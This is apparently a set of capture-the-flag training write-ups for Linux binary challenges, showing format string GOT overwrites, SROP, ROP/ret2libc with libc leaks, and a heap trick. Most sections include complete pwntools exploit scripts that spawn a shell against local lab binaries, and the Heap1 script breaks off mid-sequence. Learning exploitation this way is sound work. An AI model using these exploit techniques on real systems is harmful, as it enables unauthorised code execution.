# Baby-fmt
Running the program, first it told us to pass a name
Then we have to guess a lucky number

Then it ends

The challenge is `Baby-fmt` so i test format string vulnerability

So that's the bug
Decompiled binary

So it takes random number to pass to `lucky` global variable and check if our guess is equal to that value
If not then the program exits
If equal, the program calls the `flag` function
Which is

So we have to call that function
I find the offset of format strings to reach my input


So the offset in `name` is about 16-19 and in `number` is about 8-9
Now to the exploit
Here i write address of `flag()` to the GOT of `exit`
In the string we have to put the address of GOT at the end because it will have null bytes
I try to find the offset of the address

So the address is at `18` and the padding is 'AAAAB'
The `%1000d` is for writing to address using `%n`
The address of `flag` is `0x4008e9` equal to `4196585`
So i try the payload

The padding changes because the number `1000` changes to `4196585`
Attach with gdb
Before the format string

After the format string

So we success fully write the GOT of `exit` to `flag`
Continue and we trigger the `system`


Solve.py
```python=
from pwn import *
elf = context.binary = ELF('/home/kakaka/Train/exploit/Baby-fmt/fmt1')
context.terminal = 'qterminal'
context.timeout = 1000
p = process()
exit_got = elf.got['exit']
#gdb.attach(p, gdbscript='''
#b *0x4009b3
#continue''')
payload = b'%4196585x'
payload += b'%18$n'
payload += b'A'*2 #padding
payload += p64(exit_got)
#print(payload)
p.sendline(payload)
p.recvuntil(b'Your input: ')
p.sendline(b'1')
p.interactive()
```
# Babypwn
When we run the program, it gets the input from keyboard then ends

Passing a large input to program

It has `Illegal instruction`, that means there may be an invalid instruction
Debug with gdb

We see that there is no main function
So i disassemble the `_start`


These instructions execute a syscall, the syscall number is passed to `eax` which is `1` is the syscall number for `write`
We can see the syscall table [here](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md)
The others argument is passed to `edi`, `rsi` and `edx` registers
So we have `write(1, 0x40015d, 0x13)`
`1` is the `fd` of `stdout` so it will write the output to the screen
`0x40015d` is address of a string

`0x13` is the length of string
Same for

We have `read(0, rsp - 0x18, 0x100)`
It reads `0x100` bytes from `stdin` and puts it to `rsp - 0x18`
The last thing

It pus value at `rsp - 0x8` to `rax` then `syscall` intruction
The bug is here, we can controll the value at `rsp - 0x8` by the `read` syscall before
Here we use `Sigreturn-Oriented Programming (SROP)`
When getting a signal, the program set up a back up to restore all the data before changing to kernel context, the idea is to restore things that the program doesn't set up
The signal frame

The `sigreturn` syscall which has the syscall number is `0xf` is responsible for restoring all the datas
I try to put that into `rax` we read at `rsp - 0x18` and the `rax` is at `rsp - 0x8` so the padding is `16`
```python=
payload = b'A'*16 #padding
payload += p64(0xf)
p.sendline(payload)
```
Attach with gdb and i see that

Successfully put `0xf` into `rax`
Continue

We see that all the registers changes
Those value are on the stack

And we can overflow it
I try the payload

Debuging it

So we have the offset of `rip`, `rsi`, `rdx`, `rdi`
We have to control those register to `execve('/bin/sh', 0, 0)`
We already have the string `/bin/sh` in the program

But there's one problem is that `rax` is `0`, but it's supposed to be one of my ascii value
After searching i find at [here](https://ieeexplore.ieee.org/document/6956568)
> In order to execute a successful sigreturn system call, we must ensure that the kernel does not trip over any bad values in the signal frame. The first requirement is that the code segment register is restored correctly. On x86–64, when running in 64bit mode, the code segment register should contain the value 0×33. The second requirement is that the fpstate pointer is not a wild pointer. Fpstate points to the saved floating point unit state and if its address not valid, or the saved floating point state is not correct, our application will crash. This seems like a problem, since our assumption is that we do not yet know of any attacker controlled data on a known address. Luckily, when fpstate is NULL, Linux assumes no floating point operations had been used before the signal arrived. In this case, it clears the FPU state is and sigreturn succeeds.
So we need put code segment register `0x33` which is after `2` offset from `rip`
```python=
from pwn import *
elf = context.binary = ELF('/home/kakaka/Train/exploit/Babypwn/challenge')
context.terminal = 'qterminal'
context.timeout = 1000
p = process()
binsh = 0x400155
rip = 0x400153 #syscall
gdb.attach(p, gdbscript='''
b *0x0000000000400153
continue
''')
#rsp 0x55
#rip 0x56
#rdi 0x4e /bin/sh
#rdx 0x52
#rsi 0x4f
payload = b'A'*16 #padding
payload += p64(0xf)
for i in range(26):
a = 0x41 + i
if a == 0x55:
payload += p64(0x41414141)
elif a == 0x56:
payload += p64(rip)
elif a == 0x4e:
payload += p64(binsh)
elif a == 0x53:
payload += p64(0x3b)
elif a == 0x58:
payload += p64(0x33)
else:
payload += p64(0)
payload += p64(0)*8 # zero out others properties
print(payload)
p.sendline(payload)
p.interactive()
```
Attaching with gdb

We successfully put the values into corresponding registers
Continue and we get a shell 

We can use `SigreturnFrame()` in `pwntools`
```python=
from pwn import *
elf = context.binary = ELF('/home/kakaka/Train/exploit/Babypwn/challenge')
context.terminal = 'qterminal'
context.timeout = 1000
p = process()
binsh = 0x400155
rip = 0x400153 #
gdb.attach(p, gdbscript='''
b *0x0000000000400153
continue
''')
payload = b'A'*16 #padding
payload += p64(0xf)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x41414141
frame.rip = rip
payload += bytes(frame)
print(payload)
p.send(payload)
p.interactive()
```
# Formatstring2
The program is kind of like Babyfmt and also has format string vulnerability
I first try to find the offset of format string
After a few tries


So i have the offset for the first `printf` is `18` and the second i `8`
This time, there is no functions that calls the `system` for us

The decompiled program

I thought i had to calculate the `system` address because the challenge gave me a `.so` file
So i have to leak the libc
Using gdb i see that


So looks like `0x7f0100000000` is an address in libc
I find the offset of that

Debugging with gdb to view the libc base and calculate the offset

The both offset are the same so it might be right
Checking

It's right
Now we have the the libc, i think of writing it to `GOT` of others functions but the problem is that i don't know how to pass the `/bin/sh` to that
Then i try to leak the stack then redirect the `rip` to the start of `main` to reuse the format string

The stack address is right after the leaked libc so the offset of it is `30`
Using gdb to get the `rbp` value then i get where the `ret` address is stored. It is `leak_stack - 248`
Check it


So i success fully redirect the program
But then the problem is the program crash when execute the first `printf` but not my format string but `printf("Give me your name: ")`
But when i redirect it to `0x4008ea` which is `mov rbp, rsp` then it runs okay
So to the exploit, my idea is loop a few times to `main` to reuse the format string, and each loop i write one gadget. I just need to write 3 times
My ropchain will look like:
```
-------------
ret <- return address
-------------
pop rdi
-------------
address of /bin/sh
-------------
system
```
The reason why there's a `ret` before `pop` is `movaps issues` explained below in `float` challenge
Because i return to `main` at `mov rbp, rsp` but not `push rbp` so the return address changes after each loop
After a loop the return address increase `0x10`

Next `ret`

The value of `rsp` increase `0x10`
So now start my exploit
## Leak the libc and stack
```python=
payload = b'%29$llxA'
payload += b'%30$llxA'
print(payload)
print('Payload length is {}'.format(len(payload)))
p.sendline(payload)
p.recvuntil(b'Hi guy,')
leak_libc = int(p.recvuntil(b'A')[:-1], 16)
leak_libc -= 160138
libc.address = leak_libc
leak_stack = int(p.recvuntil(b'A')[:-1], 16)
rip = leak_stack - 248
print('Base libc: {}'.format(hex(libc.address)))
print('Address of rip: {}'.format(hex(rip)))
```
Explained before
## ret to main
To return to `main` the `lucky` variables must be equal to `atoi(input)` otherwise the program will call `exit`
We can use formatstring to write `0` at `lucky` and because our formatstring is not a number so `atoi` function will returns `0`
```python=
payload2 = fmtstr_payload(8, {rip: main, elf.symbols['lucky']: 0})
print(payload2)
print('Length of payload2 is {}'.format(hex(len(payload2))))
p.sendline(payload2)
```
## Write the ropchain
So because after each loop, the return address increases `0x10`
We have
```
rip <---- rip we leak
rip + 0x10 <---- address to write pop rdi gadget
rip + 0x20 <---- address to write /bin/sh
rip + 0x30 <---- address to write system
```
The last return address is `rip + 0x30`
So we need to write
```
-------------
POP RDI <--- rip + 0x38
-------------
address of /bin/sh <---- rip + 0x40
-------------
system <--- rip + 0x48
```
Each loop we use first format string to write `main` to return address
Second format string is for writing the gadget
```python=
#first loop write the pop_rdi
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_pop_rdi = fmtstr_payload(8, {(last_rip + 8): POP_RDI}, write_size='short')
payload_ = fmtstr_payload(18, {rip: main, elf.symbols['lucky']: 0},write_size='int')
p.sendline(payload_)
p.recvuntil(b'Your input: ')
p.sendline(write_pop_rdi)
#second loop write the binsh
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_binsh = fmtstr_payload(8, {(last_rip + 16): binsh}, write_size='short')
payload3 = fmtstr_payload(18, {rip: main , elf.symbols['lucky']: 0}, write_size='int')
print('len of payload3: {}'.format(hex(len(payload3))))
print(payload3)
p.sendline(payload3)
p.recvuntil(b'Your input: ')
p.sendline(write_binsh)
# stage 3 write the system
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_system = fmtstr_payload(8, {(last_rip + 24): system}, write_size='short')
payload4 = fmtstr_payload(18, {rip: _ret , elf.symbols['lucky']: 0}, write_size='int')
p.sendline(payload4)
p.recvuntil(b'Your input: ')
p.sendline(write_system)
```
Attach with gdb
The last `ret
`

The values are okay
Continue

We get a shell

Full script
```python=
from pwn import *
elf = context.binary = ELF('/home/kakaka/Train/exploit/Formatstring2/fmt2')
libc = elf.libc
context.terminal = 'qterminal'
p = process(close_fds=False)
main = 0x4008ea #main
ret = 0x4008e9
_ret = 0x4006c1#0x00000000004006c1 : ret
POP_RDI = 0x400b03#0x0000000000400b03 : pop rdi ; ret
#gdb.attach(p, gdbscript='''
#b *0x0000000000400a6f
#''')
#leak the libc address
payload = b'%29$llxA'
payload += b'%30$llxA'
print(payload)
print('Payload length is {}'.format(len(payload)))
p.sendline(payload)
p.recvuntil(b'Hi guy,')
leak_libc = int(p.recvuntil(b'A')[:-1], 16)
leak_libc -= 160138
libc.address = leak_libc
leak_stack = int(p.recvuntil(b'A')[:-1], 16)
rip = leak_stack - 248
print('Base libc: {}'.format(hex(libc.address)))
print('Address of rip: {}'.format(hex(rip)))
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
last_rip = rip + 0x30
print('address of system: {}'.format(hex(system)))
print('address of binsh: {}'.format(hex(binsh)))
#redirect the program
payload2 = fmtstr_payload(8, {rip: main, elf.symbols['lucky']: 0})
print(payload2)
print('Length of payload2 is {}'.format(hex(len(payload2))))
p.sendline(payload2)
#first loop write the pop_rdi
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_pop_rdi = fmtstr_payload(8, {(last_rip + 8): POP_RDI}, write_size='short')
payload_ = fmtstr_payload(18, {rip: main, elf.symbols['lucky']: 0},write_size='int')
p.sendline(payload_)
p.recvuntil(b'Your input: ')
p.sendline(write_pop_rdi)
#second loop write the binsh
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_binsh = fmtstr_payload(8, {(last_rip + 16): binsh}, write_size='short')
payload3 = fmtstr_payload(18, {rip: main , elf.symbols['lucky']: 0}, write_size='int')
print('len of payload3: {}'.format(hex(len(payload3))))
print(payload3)
p.sendline(payload3)
p.recvuntil(b'Your input: ')
p.sendline(write_binsh)
# stage 3 write the system
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_system = fmtstr_payload(8, {(last_rip + 24): system}, write_size='short')
payload4 = fmtstr_payload(18, {rip: _ret , elf.symbols['lucky']: 0}, write_size='int')
p.sendline(payload4)
p.recvuntil(b'Your input: ')
p.sendline(write_system)
p.interactive()
```
# Formatstring4
The challenge has the format string vulnerability

Checking with gdb and i see that the program is `PIE`

First i decompile the program with ida

The main function gets input by `fgets` so it's safe, then it calls `exploit` function

So we have the format string bug at return and looks like we have to trigger the `system` above
I think of redirecting the program to `system`, but i only have one format string bug so i can't leak anything
Calculate the offset of formatstring


So the offset to reach the string is `10` but then i found out that the `7fffffffddb8` is the address of `ret`

So now we can redirect the program
Even though the program is PIE but the first 2 bytes doesn't change


So i just need to overwrite the `ret` using short write `%hn`
The `0xb8b` is equal to `2955` so my payload:
>%2955d%7$hn

# Float
Running the program, it just gets input from user until timeout

Decompile the program

So the program prints the string and call `chart_course` funtions with parameter `s`, and `s` is `rbp - 0x30`
The `chart-course` function

The function has infinite loop until we type `done`, else, it use `atof` function to convert our input to `float` type
and set `*(0x4*i + a1)` to that, `a1` is the parameter passed to function, that's the bug, we can overflow it.
Remember `a1`is at `rbp - 0x30` in `main`, so with big enough `i` we can write to `rip`
I test that

Segmentation fault
Debug with gdb and find the offset, the `rip` is written with `i` is `15` and `16`, because the program is 64 bits and the `float` type is 32 bits
But to overwrite with the correct value, we have to reverse the `atof` function, to do this i use `numoy`
I create a function that convert my input and send to program
```python=
def send_float(f):
first_4bytes = f & 0xffffffff
last_4bytes = (f & 0xffffffff00000000) >> 32
first_4bytes_float = np.frombuffer(p32(first_4bytes), dtype=np.float32)[0]
last_4bytes_float = np.frombuffer(p32(last_4bytes), dtype=np.float32)[0]
p.sendline(str(first_4bytes_float).encode())
p.sendline(str(last_4bytes_float).encode())
```
Test if we redirect the program
```python=
p.recvuntil(b'LAT[0]: ')
for i in range(14):
p.sendline(str(i).encode()) # padding until rip
send_float(chart_course)
```
Set breakpoint at `ret` and look at the address `rsp` points to

So i redirected the program
Now to the exploit
Here i use `ROP`
First, i try to leak the libc address
I create the ROP chain that looks like
```
------------
POP RDI; RET <---- rip
------------
PUT@GOT <---- argument
------------
PUT@PLT <---- leak
------------
```
Payload to leak libc
```python=
p.recvuntil(b'LAT[0]: ')
for i in range(14):
p.sendline(str(i).encode())
send_float(POP_RDI)
send_float(elf.got['puts'])
send_float(elf.plt['puts'])
```
See the leaked address
```python=
leak = p.recv(1024)
leak = leak[-7:-1]
print('Leak is {}'.format(leak))
libc_leak = int.from_bytes(leak, byteorder='little')
print('Libc leak is {}'.format(hex(libc_leak)))
libc.address = libc_leak - libc.symbols['puts']
print('Address of libc: {}'.format(hex(libc.address)))
```
Checking with gdb

So now i have the libc, i can call `system` to get a shell
I append the `main` address to the payload above to redirect the program run `chart_course` again and overflow it
```python=
for i in range(14):
p.sendline(str(i).encode())
send_float(POP_RDI)
send_float(elf.got['puts'])
send_float(elf.plt['puts'])
send_float(elf.symbols['main'])
p.sendline(b'done')
```
So now i create the ROP chain to call `system('/bin/sh')`
Payload
```
-------------
POP RDI; RET <---- rip
-------------
'/bin/sh' <---- argument for system
-------------
system from libc <---- get shell
```
```python=
p.recvuntil(b'LAT[0]: ')
for i in range(14):
p.sendline(str(i).encode())
send_float(POP_RDI)
print('Address of /bin/sh: {}'.format(hex(next(libc.search(b'/bin/sh')))))
send_float(next(libc.search(b'/bin/sh')))
print('Address of system: {}'.format(hex(libc.symbols['system'])))
send_float(libc.symbols['system'])
p.sendline(b'done')
```
Checking with gdb

So i successfully redirect to `system` but i get `SIGSEGV`, after searching i found the solution
[here](https://stackoverflow.com/questions/60729616/segfault-in-ret2libc-attack-but-not-hardcoded-system-call)
>The MOVAPS issue
If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
So i add `ret` gadget to align the stack
```python=
p.recvuntil(b'LAT[0]: ')
for i in range(14):
p.sendline(str(i).encode())
send_float(ret_)
send_float(POP_RDI)
print('Address of /bin/sh: {}'.format(hex(next(libc.search(b'/bin/sh')))))
send_float(next(libc.search(b'/bin/sh')))
print('Address of system: {}'.format(hex(libc.symbols['system'])))
send_float(libc.symbols['system'])
p.sendline(b'done')
```


Success
Solve.py
```python=
from pwn import *
import struct
import numpy as np
elf = context.binary = ELF('/home/kakaka/Train/exploit/Float/overfloat_patched')
context.terminal = 'qterminal'
p = process()
libc = elf.libc
def send_float(f):
first_4bytes = f & 0xffffffff
last_4bytes = (f & 0xffffffff00000000) >> 32
first_4bytes_float = np.frombuffer(p32(first_4bytes), dtype=np.float32)[0]
last_4bytes_float = np.frombuffer(p32(last_4bytes), dtype=np.float32)[0]
p.sendline(str(first_4bytes_float).encode())
p.sendline(str(last_4bytes_float).encode())
#gdb.attach(p, gdbscript='''
#b *0x400a1f
#b *0x400992
#''')
ret_ = 0x400661#0x0000000000400661 : ret
ret = 0x4008df #0x00000000004008df <+138>: mov edx,ecx
#POP_RSI_R15 = 0x400a81#0x0000000000400a81 : pop rsi ; pop r15 ; ret
#PUSH_MOV_RBP_CALL_RAX = 0x40082a#0x000000000040082a : push rbp ; mov rbp, rsp ; call rax
POP_RDI = 0x400a83 #0x0000000000400a83 : pop rdi ; ret
#CALL_ESP = 0x400e9b #0x0000000000400e9b : call rsp
#CALL_PUTS = 0x4009e8 #0x00000000004009e8 <+85>: call 0x400690 <puts@plt>
main = 0x0000000000400993 #main
p.recvuntil(b'LAT[0]: ')
for i in range(14):
p.sendline(str(i).encode())
send_float(POP_RDI)
send_float(elf.got['puts'])
#send_float(CALL_PUTS)
send_float(elf.plt['puts'])
send_float(elf.symbols['main'])
p.sendline(b'done')
p.recvuntil(b'VOYAGE!')
leak = p.recv(1024)
leak = leak[-7:-1]
print('Leak is {}'.format(leak))
libc_leak = int.from_bytes(leak, byteorder='little')
print('Libc leak is {}'.format(hex(libc_leak)))
libc.address = libc_leak - libc.symbols['puts']
print('Address of libc: {}'.format(hex(libc.address)))
p.recvuntil(b'LAT[0]: ')
for i in range(14):
p.sendline(str(i).encode())
send_float(ret_)
send_float(POP_RDI)
print('Address of /bin/sh: {}'.format(hex(next(libc.search(b'/bin/sh')))))
send_float(next(libc.search(b'/bin/sh')))
print('Address of system: {}'.format(hex(libc.symbols['system'])))
send_float(libc.symbols['system'])
p.sendline(b'done')
p.interactive()
```
# Formatstring3
Run the program

It ends after getting some inputs and doesn't print anything, but it's a format string challenge
Decompiler with IDA and i see

It compares the first 3 bytes of `s` to `yes`, if not equal then the program ends, else it calls `filter` function with parameter my input

Basically, it interates until meeting `$` or `%` character and shift left my string, it's to avoid formatstring but i can bypass by using special character twice

So now debug with gdb
First check the security flag

It has PIE
In this challenge our string is not on the stack, it's global variable

I find the offset of some values on the stack

First i leak the libc at offset `3` and leak stack at offset `40`, but the length of input is limited so i just can leak the stack using `%x` but that's enough because these value are the same at high bytes
Here the value the program return is at `0x7fffffffdd58`
```python=
p.recvuntil(b'Give me your name: ')
p.sendline(b'name')
p.recvuntil(b'Can you fix bug for me?')
p.sendline(b'yes%%3$$llx|%%40$$x')
p.recvuntil(b'yes')
leak = p.recvuntil(b'|')[:-1]
leak = int(leak, 16)
print('Leak is {}'.format(hex(leak)))
libc.address = leak - 1133111
print('Libc is {}'.format(hex(libc.address)))
leak = p.recvuntil(b'\n')[:-1]
leak = int(leak, 16)
ret = leak - 0x100
print('Leak stack: {}'.format(hex(leak)))
print('Ret: {}'.format(hex(ret)))
```

I just use the first 2 bytes of the stack, because the length of input i can only use shrot write `hn`
I have the libc and the stack
The offset above show that
offset `16` point to offset `43`
offset `10` point to offset `40`
First i change first 2 bytes at offset `40` to point to `ret` address, so i can redirect the program
But i can only write 2 bytes to `ret`
The value at `ret` is a libc value, i can controll the first 2bytes so the program can be redirected to between `0x1d8f0` and `0x2ffff` offset in libc

View the value of register at `ret` instruction

We see that `r13` points to `main`
And i see a gadget that calls `r13`
> ROPgadget --binary libc6_2.35-0ubuntu3.1_amd64.so --range 0x1d8f0-0x2ffff | grep call

Redirect the program to `main`
```python=
payload = b'yes%%'
ret = ret & 0xffff
payload += str(ret - 3).encode()
payload += b'd%%10$$hn'
print(payload)
p.sendline(payload)
```
The code above to change the value at offset `40` which is pointed by offset `10`
```python=
CALL_R13 = CALL_R13 + libc.address
CALL_R13 = CALL_R13 & 0xffff
payload1 = b'yes%%'
payload1 += str(CALL_R13 - 3).encode()
payload1 += b'd%%40$$hn'
print(payload1)
p.sendline(payload1)
```
Redirect the program
Set a breakpoint at `ret` instruction and continue i see the program run the `call r13` instruction

Now to the exploit
After the call to `main` the offset and the value still remains, and each `main` we have `3` times to use format string, first `printf` we use to redirect the program to `main`, making it a loop. We can reuse the `payload1` above
I created a function to do that
```python=
def ret_to_main(payload):
p.recvuntil(b'Give me your name: ')
p.sendline(b'name')
p.recvuntil(b'Can you fix bug for me?')
p.sendline(payload)
```
Second `printf` to change the value at offset `43` to point to somewhere on the stack to write
Third `printf` to write the value
To write `64` value i have to loop the `main` 4 times, but here the last 2 bytes is always `0000` so i just need `3` loop
So now i have arbitrary write
I create a ropchain that looks like
```
-------------
POP RDI; RET <--- ret
-------------
address of /bin/sh
-------------
address of system
```
But to avoid `movaps issues` i add a `ret`
```
-------------
RET <--- ret
-------------
POP RDI; RET
-------------
address of /bin/sh
-------------
address of system
```
I create a function that does write value to address
```python=
def write_to(address, value, payload, ret = 0):
first_2bytes_address = address & 0xffff
second_2bytes_address = (address + 2) & 0xffff
third_2bytes_address = (address + 4) & 0xffff
first_2bytes_value = value & 0xffff
second_2bytes_value = (value & 0xffff0000) >> 16
third_2bytes_value = (value & 0xffff00000000) >> 32
# round 1
ret_to_main(payload)
pay_load = b'yes%%'
pay_load += str(first_2bytes_address - 3).encode()
pay_load += b'd%%16$$hn'
p.sendline(pay_load) #change the address to write
print('payload of round1: ', end = ' ')
print(pay_load)
pay_load1 = b'yes%%'
pay_load1 += str(first_2bytes_value - 3).encode()
pay_load1 += b'd%%43$$hn'
p.sendline(pay_load1) #write to address
print('payload1 of round 1: ', end=' ')
print(pay_load1)
if ret == 1:
p.interactive()
#round 2
ret_to_main(payload)
pay_load = b'yes%%'
pay_load += str(second_2bytes_address - 3).encode()
pay_load += b'd%%16$$hn'
p.sendline(pay_load) # change the address to write
print('payload of round2: ', end = ' ')
print(pay_load)
pay_load1 = b'yes%%'
pay_load1 += str(second_2bytes_value - 3).encode()
pay_load1 += b'd%%43$$hn'
p.sendline(pay_load1) # write to address
print('payload1 of round 2: ', end=' ')
print(pay_load1)
#round 3
ret_to_main(payload)
pay_load = b'yes%%'
pay_load += str(third_2bytes_address - 3).encode()
pay_load += b'd%%16$$hn'
p.sendline(pay_load) # change the address to write
print('payload of round3: ', end = ' ')
print(pay_load)
pay_load1 = b'yes%%'
pay_load1 += str(third_2bytes_value - 3).encode()
pay_load1 += b'd%%43$$hn'
p.sendline(pay_load1) # write to address
print('payload1 of round 3: ', end=' ')
print(pay_load1)
```
It loops `3` times `main`, each loop it writes `2` bytes to address
Creating the ropchain
```python=
address_to_write_binsh = leak - 240
address_to_write_system = address_to_write_binsh + 8
write_to(address_to_write_binsh, binsh, payload1)
write_to(address_to_write_system, system, payload1)
write_to(address_to_write_binsh - 8, POP_RDI + libc.address, payload1)
write_to(address_to_write_binsh - 16, RET + libc.address, payload1, 1)
```

The image above is when i didn't add a `ret` to ropchain but it successfully to write `system` and `/bin/sh` on the stack, and of course
Continue and it `SIGSEGV`

Adding a `ret` and it calls a shell


solve.py
```python=
from pwn import *
elf = context.binary = ELF('/home/kakaka/Train/exploit/Formatstring3/libc/lib/chall')
libc = ELF('/home/kakaka/Train/exploit/Formatstring3/libc/mywork/libc6_2.35-0ubuntu3.1_amd64.so')
context.terminal = 'qterminal'
p = process(cwd='/home/kakaka/Train/exploit/Formatstring3/libc/lib')
gdb.attach(p, gdbscript='b printf')
CALL_R13 = 0x2f4d3#0x000000000002f4d3 : call r13
POP_RDI = 0x2a3e5#0x000000000002a3e5 : pop rdi ; ret
RET = 0x29cd6#0x0000000000029cd6 : ret
def ret_to_main(payload):
p.recvuntil(b'Give me your name: ')
p.sendline(b'name')
p.recvuntil(b'Can you fix bug for me?')
p.sendline(payload)
def write_to(address, value, payload, ret = 0):
first_2bytes_address = address & 0xffff
second_2bytes_address = (address + 2) & 0xffff
third_2bytes_address = (address + 4) & 0xffff
first_2bytes_value = value & 0xffff
second_2bytes_value = (value & 0xffff0000) >> 16
third_2bytes_value = (value & 0xffff00000000) >> 32
# round 1
ret_to_main(payload)
pay_load = b'yes%%'
pay_load += str(first_2bytes_address - 3).encode()
pay_load += b'd%%16$$hn'
p.sendline(pay_load) #change the address to write
print('payload of round1: ', end = ' ')
print(pay_load)
pay_load1 = b'yes%%'
pay_load1 += str(first_2bytes_value - 3).encode()
pay_load1 += b'd%%43$$hn'
p.sendline(pay_load1) #write to address
print('payload1 of round 1: ', end=' ')
print(pay_load1)
if ret == 1:
p.interactive()
#round 2
ret_to_main(payload)
pay_load = b'yes%%'
pay_load += str(second_2bytes_address - 3).encode()
pay_load += b'd%%16$$hn'
p.sendline(pay_load) # change the address to write
print('payload of round2: ', end = ' ')
print(pay_load)
pay_load1 = b'yes%%'
pay_load1 += str(second_2bytes_value - 3).encode()
pay_load1 += b'd%%43$$hn'
p.sendline(pay_load1) # write to address
print('payload1 of round 2: ', end=' ')
print(pay_load1)
#round 3
ret_to_main(payload)
pay_load = b'yes%%'
pay_load += str(third_2bytes_address - 3).encode()
pay_load += b'd%%16$$hn'
p.sendline(pay_load) # change the address to write
print('payload of round3: ', end = ' ')
print(pay_load)
pay_load1 = b'yes%%'
pay_load1 += str(third_2bytes_value - 3).encode()
pay_load1 += b'd%%43$$hn'
p.sendline(pay_load1) # write to address
print('payload1 of round 3: ', end=' ')
print(pay_load1)
p.recvuntil(b'Give me your name: ')
p.sendline(b'name')
p.recvuntil(b'Can you fix bug for me?')
p.sendline(b'yes%%3$$llx|%%40$$x')
p.recvuntil(b'yes')
leak = p.recvuntil(b'|')[:-1]
leak = int(leak, 16)
print('Leak is {}'.format(hex(leak)))
libc.address = leak - 1133111
print('Libc is {}'.format(hex(libc.address)))
leak = p.recvuntil(b'\n')[:-1]
leak = int(leak, 16)
ret = leak - 0x100
print('Leak stack: {}'.format(hex(leak)))
print('Ret: {}'.format(hex(ret)))
binsh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']
payload = b'yes%%'
ret = ret & 0xffff
payload += str(ret - 3).encode()
payload += b'd%%10$$hn'
print(payload)
p.sendline(payload)
CALL_R13 = CALL_R13 + libc.address
CALL_R13 = CALL_R13 & 0xffff
payload1 = b'yes%%'
payload1 += str(CALL_R13 - 3).encode()
payload1 += b'd%%40$$hn'
print(payload1)
p.sendline(payload1)
######################################
# CREATE ROPCHAIN
######################################
# payload1 is the payload writing to ret to return to main
address_to_write_binsh = leak - 240
address_to_write_system = address_to_write_binsh + 8
print('Address of binsh: {}'.format(hex(address_to_write_binsh & 0xffff)))
print('Address of system: {}'.format(hex(address_to_write_system & 0xffff)))
print('binsh is at {}'.format(hex(binsh)))
print('system is at {}'.format(hex(system)))
print('Write binsh')
write_to(address_to_write_binsh, binsh, payload1)
print('Write system')
write_to(address_to_write_system, system, payload1)
write_to(address_to_write_binsh - 8, POP_RDI + libc.address, payload1)
write_to(address_to_write_binsh - 16, RET + libc.address, payload1, 1)
#address_to_write_binsh = leak - 248
#address_to_write_system = address_to_write_binsh + 8
#print('Address of binsh: {}'.format(hex(address_to_write_binsh & 0xffff)))
#print('Address of system: {}'.format(hex(address_to_write_system & 0xffff)))
#print('binsh is at {}'.format(hex(binsh)))
#print('system is at {}'.format(hex(system)))
#print('Write binsh')
#write_to(address_to_write_binsh, binsh, payload1)
#print('Write system')
#write_to(address_to_write_system, system, payload1)
#write_to(address_to_write_binsh - 8, POP_RDI + libc.address, payload1)
#POP_RDI = POP_RDI + libc.address
#POP_RDI = POP_RDI & 0xffff
#payload2 = b'yes%%'
#payload2 += str(POP_RDI - 3).encode()
#payload2 += b'd%%40$$hn'
#print(payload2)
#p.sendline(payload2)
p.sendline(b'no') # ret to system
p.interactive()
```
# Heap1
The program just prompts a menu

Decomdpiler i see that
main

`create_heap` function

It requests a size from user and call `malloc` to store a pointer created by another `malloc`
And store the pointer to `ptr` array
```
ptr array -> |pointer1|pointer2|pointer3|...
```
All these pointer is createb by `malloc(0x10)`
and these pointers point to return value of `malloc(size)`
```
ptr array -> |pointer1|pointer2|pointer3|...
\ \ \ \
\/ \/ \/ \/
mem1 mem2 mem3 ...
```
The `sub_4009E8` function

It's okay, we can only write the `PREV_SIZE` field but not `PREV_INUSE` bit
`delete_heap` function

It gets an index from user and `free` the pointer at that index in `ptr` array and `free` where it points to
And it zeros out the array after `free`
So its okay
`cat_flag` function

It checks if the value at `0x6020F0` is `0`, if is then return `0`
Else if check if the value stored at where the `*(0x6020F0) + 8` point to is equal to `11259375` which is `0xabcdef` in hex
If equal then calls `sub_400916` function

It reads a flag file, so we have to trigger this function, to do that we pass `4` in menu but there're some conditions to be met
I see that

The `ptr` is before `0x6020F0` so we can write to it
A pointer takes 8 bytes so i need 2 `create_heap` before reach the value
But the pointer in array is a pointer to another pointer which we can controll, we can;t directly write to the pointer in array
But the function check the `*pointer + 8` and `delete_heap` just zeros out first 8 bytes, so i can craft a free chunk that has `0xabcdef` on that chunks
```
0 8
ptr_in_array |pointer|....
/
/
/
/
\/ 0 8 16
data |padding|0xabcdef|
After free
0 8
ptr_in_array |0|...
0 8 16
data |0|0xabcdef|...
So i call malloc again the pointer_in_array will point to old data and data points to old ptr_in_array
0 8 16
ptr_in_array |pointer|0xabcdef|
/
/
/
/
\/ 0 8
data |padding|...
```
And call the `cat_flag`

Successfully read the flag file
Running without gdb

Script
```python=
from pwn import *
elf = context.binary = ELF('/home/kakaka/Train/exploit/heap1/pwn1_ff')
p = process()
#gdb.attach(p, gdbscript='b *0x4009aa')
#not important
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Input size:')
p.sendline(b'2')
p.recvuntil(b'Input data:')
p.sendline(b'0')
#not important
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Input size:')
p.sendline(b'24')
p.recvuntil(b'Input data:')
p.sendline(b'1')
#craft a chunk that contains 0xabcdef
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Input size:')
p.sendline(b'24')
p.recvuntil(b'Input data:')
p.sendline(p64(0xabcdef)*2) # here we just need the ptr + 8 contains 0xabcdef and the first 8 bytes is not important
#free
p.recvuntil(b'>\n')
p.sendline(b'2')
